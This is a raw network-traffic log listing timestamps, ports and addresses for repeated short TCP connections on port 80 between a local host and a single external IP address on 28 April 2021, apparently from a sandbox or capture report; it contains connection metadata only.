Apr 28, 2021 23:24:06.824888945 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:06.824984074 CEST	50105	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:06.825448036 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:06.825565100 CEST	50105	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:06.857743025 CEST	80	50106	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:06.858088017 CEST	50106	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:06.858763933 CEST	50106	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:06.861453056 CEST	80	50104	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:06.861582041 CEST	50104	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:06.923893929 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:06.923971891 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:06.923985958 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:06.924078941 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:06.924120903 CEST	50105	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:06.924170017 CEST	50105	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:06.924216986 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:06.924238920 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:06.924252987 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:06.924272060 CEST	50105	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:06.924320936 CEST	50105	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:06.924475908 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:06.924490929 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:06.924559116 CEST	50105	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:06.924578905 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:06.924595118 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:06.924626112 CEST	50105	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:06.924654007 CEST	50105	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:06.924918890 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:06.924932957 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:06.924983978 CEST	50105	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:06.925013065 CEST	50105	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:06.925658941 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:06.926336050 CEST	50105	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:06.955996990 CEST	80	50106	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:06.959650993 CEST	80	50106	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:06.960077047 CEST	50106	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:07.024259090 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:07.024315119 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:07.024346113 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:07.024456024 CEST	50105	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:07.024502993 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:07.024522066 CEST	50105	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:07.024593115 CEST	50105	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:07.024677992 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:07.024710894 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:07.024739027 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:07.024775028 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:07.024808884 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:07.024828911 CEST	50105	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:07.024838924 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:07.024871111 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:07.024897099 CEST	50105	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:07.024900913 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:07.024936914 CEST	50105	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:07.024960995 CEST	50105	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:07.024996042 CEST	50105	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:07.025019884 CEST	50105	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:07.025029898 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:07.025038958 CEST	50105	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:07.025064945 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:07.025098085 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:07.025160074 CEST	50105	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:07.025199890 CEST	50105	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:07.026185036 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:07.026220083 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:07.073282003 CEST	50106	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:07.075882912 CEST	50107	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:07.126627922 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:07.126660109 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:07.127146959 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:07.127166033 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:07.127176046 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:07.127192020 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:07.127326012 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:07.127656937 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:07.127679110 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:07.128237963 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:07.128261089 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:07.128277063 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:07.128514051 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:07.128905058 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:07.129081011 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:07.129106045 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:07.129319906 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:07.129519939 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:07.129770041 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:07.129792929 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:07.130089998 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:07.130115986 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:07.130131960 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:07.132287025 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:07.132554054 CEST	50105	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:07.168874025 CEST	80	50106	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:07.168994904 CEST	50106	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:07.177328110 CEST	80	50107	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:07.177532911 CEST	50107	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:07.178692102 CEST	50107	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:07.233285904 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:07.233393908 CEST	50105	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:07.281419992 CEST	80	50107	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:07.281471968 CEST	80	50107	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:07.281689882 CEST	50107	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:07.385104895 CEST	50107	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:07.387754917 CEST	50109	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:07.484127045 CEST	80	50109	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:07.484251976 CEST	50109	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:07.485219002 CEST	80	50107	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:07.485424995 CEST	50107	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:07.485491037 CEST	50109	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:07.585207939 CEST	80	50109	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:07.589793921 CEST	80	50109	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:07.589986086 CEST	50109	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:07.697732925 CEST	50109	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:07.700635910 CEST	50110	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:07.793541908 CEST	80	50109	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:07.793803930 CEST	50109	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:07.798240900 CEST	80	50110	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:07.798607111 CEST	50110	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:07.799616098 CEST	50110	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:07.896684885 CEST	80	50110	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:07.900526047 CEST	80	50110	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:07.900787115 CEST	50110	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:08.015840054 CEST	50110	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:08.018389940 CEST	50111	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:08.112961054 CEST	80	50110	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:08.113112926 CEST	50110	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:08.113888025 CEST	80	50111	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:08.114048958 CEST	50111	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:08.114543915 CEST	50111	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:08.210539103 CEST	80	50111	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:08.213900089 CEST	80	50111	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:08.214078903 CEST	50111	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:08.322257042 CEST	50111	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:08.323707104 CEST	50112	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:08.418776035 CEST	80	50111	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:08.419012070 CEST	50111	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:08.420015097 CEST	80	50112	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:08.420211077 CEST	50112	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:08.421155930 CEST	50112	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:08.516192913 CEST	80	50112	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:08.520189047 CEST	80	50112	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:08.520373106 CEST	50112	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:08.635307074 CEST	50112	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:08.637450933 CEST	50114	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:08.730339050 CEST	80	50112	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:08.730492115 CEST	50112	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:08.730700016 CEST	80	50114	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:08.730809927 CEST	50114	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:08.732040882 CEST	50114	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:08.825297117 CEST	80	50114	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:08.829489946 CEST	80	50114	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:08.829577923 CEST	50114	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:08.931809902 CEST	50114	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:08.933188915 CEST	50115	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:09.024966955 CEST	80	50114	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:09.025048018 CEST	50114	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:09.030396938 CEST	80	50115	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:09.030509949 CEST	50115	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:09.030975103 CEST	50115	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:09.128696918 CEST	80	50115	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:09.132731915 CEST	80	50115	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:09.132859945 CEST	50115	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:09.244426012 CEST	50115	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:09.246278048 CEST	50116	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:09.341650009 CEST	80	50116	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:09.341686010 CEST	80	50115	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:09.342010975 CEST	50115	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:09.342282057 CEST	50116	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:09.351491928 CEST	50116	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:09.446929932 CEST	80	50116	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:09.451289892 CEST	80	50116	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:09.451392889 CEST	50116	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:09.557195902 CEST	50116	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:09.559895039 CEST	50117	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:09.653414011 CEST	80	50116	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:09.655040026 CEST	50116	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:09.655097008 CEST	80	50117	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:09.657841921 CEST	50117	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:09.658469915 CEST	50117	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:09.754151106 CEST	80	50117	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:09.756784916 CEST	50118	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:09.757716894 CEST	80	50117	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:09.757855892 CEST	50117	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:09.850173950 CEST	80	50118	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:09.850285053 CEST	50118	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:09.850810051 CEST	50118	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:09.886462927 CEST	50117	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:09.889197111 CEST	50119	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:09.944060087 CEST	80	50118	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:09.944077969 CEST	80	50118	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:09.944288969 CEST	80	50118	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:09.944302082 CEST	80	50118	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:09.944341898 CEST	50118	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:09.944391012 CEST	50118	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:09.944432020 CEST	50118	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:09.944485903 CEST	80	50118	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:09.944586992 CEST	50118	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:09.980197906 CEST	80	50117	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:09.980362892 CEST	50117	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:09.985456944 CEST	80	50119	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:09.985702038 CEST	50119	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:09.986814022 CEST	50119	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:10.037832022 CEST	80	50118	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:10.037878036 CEST	80	50118	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:10.037914038 CEST	80	50118	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:10.037951946 CEST	80	50118	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:10.038041115 CEST	50118	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:10.038136959 CEST	80	50118	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:10.038139105 CEST	50118	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:10.038225889 CEST	50118	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:10.038362980 CEST	80	50118	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:10.038463116 CEST	50118	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:10.038518906 CEST	80	50118	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:10.038628101 CEST	50118	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:10.038664103 CEST	80	50118	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:10.038755894 CEST	50118	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:10.038785934 CEST	80	50118	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:10.038805008 CEST	80	50118	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:10.038868904 CEST	50118	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:10.038913012 CEST	50118	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:10.082828999 CEST	80	50119	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:10.086796045 CEST	80	50119	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:10.087378979 CEST	50119	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:10.131515026 CEST	80	50118	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:10.131544113 CEST	80	50118	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:10.131724119 CEST	50118	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:10.131838083 CEST	80	50118	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:10.131854057 CEST	80	50118	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:10.131872892 CEST	80	50118	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:10.131953955 CEST	50118	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:10.132003069 CEST	80	50118	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:10.132039070 CEST	50118	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:10.132086039 CEST	80	50118	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:10.132158041 CEST	50118	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:10.132216930 CEST	50118	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:10.132255077 CEST	80	50118	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:10.132273912 CEST	80	50118	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:10.132328987 CEST	50118	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:10.132407904 CEST	80	50118	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:10.132422924 CEST	80	50118	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:10.132435083 CEST	50118	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:10.132441998 CEST	80	50118	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:10.132567883 CEST	50118	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:10.132591009 CEST	80	50118	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:10.132611036 CEST	80	50118	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:10.132714987 CEST	80	50118	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:10.132725954 CEST	50118	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:10.132751942 CEST	80	50118	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:10.132771969 CEST	80	50118	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:10.132817984 CEST	50118	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:10.132899046 CEST	50118	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:10.133095026 CEST	80	50118	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:10.197398901 CEST	50119	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:10.198887110 CEST	50120	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:10.224972010 CEST	80	50118	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:10.224997044 CEST	80	50118	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:10.225009918 CEST	80	50118	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:10.225133896 CEST	80	50118	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:10.225147009 CEST	80	50118	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:10.225178003 CEST	80	50118	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:10.225459099 CEST	80	50118	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:10.225625038 CEST	80	50118	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:10.225708961 CEST	80	50118	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:10.225723028 CEST	80	50118	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:10.225971937 CEST	80	50118	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:10.226067066 CEST	80	50118	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:10.226222992 CEST	80	50118	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:10.226260900 CEST	80	50118	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:10.226305008 CEST	80	50118	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:10.226387978 CEST	80	50118	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:10.226589918 CEST	80	50118	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:10.226632118 CEST	80	50118	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:10.226843119 CEST	80	50118	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:10.226857901 CEST	80	50118	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:10.228516102 CEST	80	50118	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:10.228833914 CEST	50118	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:10.293288946 CEST	80	50119	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:10.293405056 CEST	50119	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:10.293658018 CEST	80	50120	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:10.293782949 CEST	50120	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:10.294441938 CEST	50120	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:10.322472095 CEST	80	50118	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:10.322567940 CEST	50118	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:10.392460108 CEST	80	50120	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:10.395937920 CEST	80	50120	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:10.396105051 CEST	50120	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:10.516253948 CEST	50120	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:10.517674923 CEST	50122	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:10.612977982 CEST	80	50120	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:10.613212109 CEST	50120	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:10.616823912 CEST	80	50122	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:10.616951942 CEST	50122	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:10.618376017 CEST	50122	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:10.716092110 CEST	80	50122	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:10.719456911 CEST	80	50122	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:10.719584942 CEST	50122	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:10.822686911 CEST	50122	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:10.824106932 CEST	50123	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:10.921188116 CEST	80	50123	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:10.921264887 CEST	80	50122	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:10.921346903 CEST	50123	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:10.921469927 CEST	50122	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:10.922689915 CEST	50123	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:11.018683910 CEST	80	50123	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:11.021600008 CEST	80	50123	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:11.021831036 CEST	50123	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:11.135128975 CEST	50123	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:11.136934042 CEST	50124	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:11.230624914 CEST	80	50123	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:11.230720997 CEST	50123	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:11.232669115 CEST	80	50124	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:11.232877970 CEST	50124	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:11.234013081 CEST	50124	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:11.329611063 CEST	80	50124	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:11.333636045 CEST	80	50124	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:11.333738089 CEST	50124	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:11.448019028 CEST	50124	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:11.450619936 CEST	50126	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:11.543282986 CEST	80	50124	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:11.543504953 CEST	50124	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:11.545772076 CEST	80	50126	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:11.546009064 CEST	50126	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:11.547159910 CEST	50126	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:11.643507957 CEST	80	50126	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:11.647208929 CEST	80	50126	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:11.647387981 CEST	50126	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:11.760422945 CEST	50126	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:11.762509108 CEST	50127	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:11.857120037 CEST	80	50126	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:11.857150078 CEST	80	50127	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:11.857208967 CEST	50126	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:11.857278109 CEST	50127	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:11.858139992 CEST	50127	80	192.168.2.5	176.111.174.114
